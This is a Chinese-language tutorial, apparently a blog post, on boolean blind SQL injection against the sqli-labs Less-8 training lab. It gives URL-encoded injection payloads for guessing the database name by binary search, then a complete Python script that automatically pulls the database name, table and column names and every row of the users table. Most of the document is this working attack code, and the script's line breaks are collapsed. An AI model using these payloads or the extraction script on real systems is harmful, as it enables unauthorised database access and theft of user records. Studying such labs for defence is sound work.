布爾型單引號GET盲注
發現加個單引號跟沒加顯示不一樣,加了單引號連you are in都不顯示了,沒有報錯,所以只能用盲注判斷了

0X01愛之先了解
盲注需要掌握一些MySQL的相關函數:
length(str):返回str字符串的長度。
substr(str, pos, len):將str從pos位置開始截取len長度的字符進行返回。注意這里的pos位置是從1開始的,不是數組的0開始
mid(str,pos,len):跟上面的一樣,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代碼值。
ord(str):同上,返回ascii碼
if(a,b,c) :a為條件,a為true,返回b,否則返回c,如if(1>2,1,0),返回0
首先要記得常見的ASCII,A:65,Z:90 a:97,z:122, 0:48, 9:57
那么我們就進行第二步
0X02
首先select database()查詢數據庫
ascii(substr((select database()),1,1)):返回數據庫名稱的第一個字母,轉化為ascii碼
ascii(substr((select database()),1,1))>64:ascii大於64就返回true,if就返回1,否則返回0
http://127.0.0.1/sql1/Less-8/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))%3E64,1,0)%20%23
為什么這里是布爾型盲注呢,因為這里沒把數據輸出,只是$row有數據和無數據的時候顯示的結果不一樣

正確的時候顯示的you are in.... 錯誤的時候就是什么都顯示
猜數據庫名第一個字母具體過程,使用二分法
http://127.0.0.1/sql1/Less-8/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))%3E96,1,0)%20%23
http://127.0.0.1/sql1/Less-8/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))%3E110,1,0)%20%23
http://127.0.0.1/sql1/Less-8/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))%3E120,1,0)%20%23
http://127.0.0.1/sql1/Less-8/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))%3E115,1,0)%20%23返回錯誤,不大於115,即第一個字母的ascii為115,即字母s
http://127.0.0.1/sql1/Less-8/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))%3E110,1,0)%20%23
http://127.0.0.1/sql1/Less-8/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))%3E111,1,0)%20%23
http://127.0.0.1/sql1/Less-8/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))%3E114,1,0)%20%23返回正確,大於114
盲注過程是漫長的,一般是自己寫腳本或使用工具輔助
寫腳本之前要知道原理,上面的就是原理
下面基於這個學着寫了個提取users表數據的完整腳本,大家可以參考下,當然如果大家用sqlmap也可以
import urllib2 import urllib success_str = "You are in" getTable = "users" index = "0" url = "http://localhost/sql1/Less-8/?id=1" database = "database()" selectDB = "select database()" selectTable = "select table_name from information_schema.tables where table_schema='%s' limit %d,1" asciiPayload = "' and ascii(substr((%s),%d,1))>=%d #" lengthPayload = "' and length(%s)>=%d #" selectTableCountPayload = "'and (select count(table_name) from information_schema.tables where table_schema='%s')>=%d #" selectTableNameLengthPayloadfront = "'and (select length(table_name) from information_schema.tables where table_schema='%s' limit " selectTableNameLengthPayloadbehind = ",1)>=%d #" # 發送請求,根據頁面的返回的判斷長度的猜測結果 # string:猜測的字符串 payload:使用的payload length:猜測的長度 def getLengthResult(payload, string, length): finalUrl = url + urllib.quote(payload % (string, length)) res = urllib2.urlopen(finalUrl) if success_str in res.read(): return True else: return False # 發送請求,根據頁面的返回的判斷猜測的字符是否正確 # payload:使用的payload string:猜測的字符串 pos:猜測字符串的位置 ascii:猜測的ascii def getResult(payload, string, pos, ascii): finalUrl = url + urllib.quote(payload % (string, pos, ascii)) res = urllib2.urlopen(finalUrl) if success_str in res.read(): return True else: return False # 注入 def inject(): # 猜數據庫長度 lengthOfDBName = getLengthOfString(lengthPayload, database) print ("length of DBname: " + str(lengthOfDBName)) # 獲取數據庫名稱 DBname = getName(asciiPayload, selectDB, lengthOfDBName) print ("current database:" + DBname) # 獲取數據庫中的表的個數 # print selectTableCountPayload tableCount = getLengthOfString(selectTableCountPayload, DBname) print ("count of talbe:" + str(tableCount)) # 獲取數據庫中的表 for i in xrange(0,tableCount): # 第幾個表 num = str(i) # 獲取當前這個表的長度 selectTableNameLengthPayload = selectTableNameLengthPayloadfront + num + selectTableNameLengthPayloadbehind tableNameLength = getLengthOfString(selectTableNameLengthPayload, DBname) print ("current table length:" + str(tableNameLength)) # 獲取當前這個表的名字 selectTableName = selectTable%(DBname, i) tableName = getName(asciiPayload, selectTableName ,tableNameLength) print (tableName) selectColumnCountPayload = "'and (select count(column_name) from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s')>=%d #" # print selectColumnCountPayload # 獲取指定表的列的數量 columnCount = getLengthOfString(selectColumnCountPayload, getTable) print ("table:" + getTable + " --count of column:" + str(columnCount)) # 獲取該表有多少行數據 dataCountPayload = "'and (select count(*) from %s)>=%d #" dataCount = getLengthOfString(dataCountPayload, getTable) print ("table:" + getTable + " --count of data: " + str(dataCount)) data = [] # 獲取指定表中的列 for i in xrange(0,columnCount): # 獲取該列名字長度 selectColumnNameLengthPayload = "'and (select length(column_name) from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s' limit "+ str(i) +",1)>=%d #" # print selectColumnNameLengthPayload columnNameLength = getLengthOfString(selectColumnNameLengthPayload, getTable) print ("current column length:" + str(columnNameLength)) # 獲取該列的名字 selectColumn = "select column_name from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s' limit %d,1" selectColumnName = selectColumn%(getTable, i) # print selectColumnName columnName = getName(asciiPayload, selectColumnName ,columnNameLength) print (columnName) tmpData = [] tmpData.append(columnName) # 獲取該表的數據 for j in xrange(0,dataCount): columnDataLengthPayload = "'and (select length("+ columnName +") from %s limit " + str(j) + ",1)>=%d #" # print columnDataLengthPayload columnDataLength = getLengthOfString(columnDataLengthPayload, getTable) # print columnDataLength selectData = "select " + columnName + " from users limit " + str(j) + ",1" columnData = getName(asciiPayload, selectData, columnDataLength) # print columnData tmpData.append(columnData) data.append(tmpData) # print data # 格式化輸出數據 # 輸出列名 tmp = "" for i in xrange(0,len(data)): tmp += data[i][0] + " " print (tmp) # 輸出具體數據 for j in xrange(1,dataCount+1): tmp = "" for i in xrange(0,len(data)): tmp += data[i][j] + " " print (tmp) # 獲取字符串的長度 def getLengthOfString(payload, string): # 猜長度 lengthLeft = 0 lengthRigth = 0 guess = 10 # 確定長度上限,每次增加5 while 1: # 如果長度大於guess if getLengthResult(payload, string, guess) == True: # 猜測值增加5 guess = guess + 5 else: lengthRigth = guess break # print "lengthRigth: " + str(lengthRigth) # 二分法查長度 mid = (lengthLeft + lengthRigth) / 2 while lengthLeft < lengthRigth - 1: # 如果長度大於等於mid if getLengthResult(payload, string, mid) == True: # 更新長度的左邊界為mid lengthLeft = mid else: # 否則就是長度小於mid # 更新長度的右邊界為mid lengthRigth = mid # 更新中值 mid = (lengthLeft + lengthRigth) / 2 # print lengthLeft, lengthRigth # 因為lengthLeft當長度大於等於mid時更新為mid,而lengthRigth是當長度小於mid時更新為mid # 所以長度區間:大於等於 lengthLeft,小於lengthRigth # 而循環條件是 lengthLeft < lengthRigth - 1,退出循環,lengthLeft就是所求長度 # 如循環到最后一步 lengthLeft = 8, lengthRigth = 9時,循環退出,區間為8<=length<9,length就肯定等於8 return lengthLeft # 獲取名稱 def getName(payload, string, lengthOfString): # 32是空格,是第一個可顯示的字符,127是delete,最后一個字符 tmp = '' for i in xrange(1,lengthOfString+1): left = 32 right = 127 mid = (left + right) / 2 while left < right - 1: # 如果該字符串的第i個字符的ascii碼大於等於mid if getResult(payload, string, i, mid) == True: # 則更新左邊界 left = mid mid = (left + right) / 2 else: # 否則該字符串的第i個字符的ascii碼小於mid # 則更新右邊界 right = mid # 更新中值 mid = (left + right) / 2 tmp += chr(left) # print tmp return tmp def main(): inject() main()
運行結果:

切記 學習之路 無浮躁 少就是多
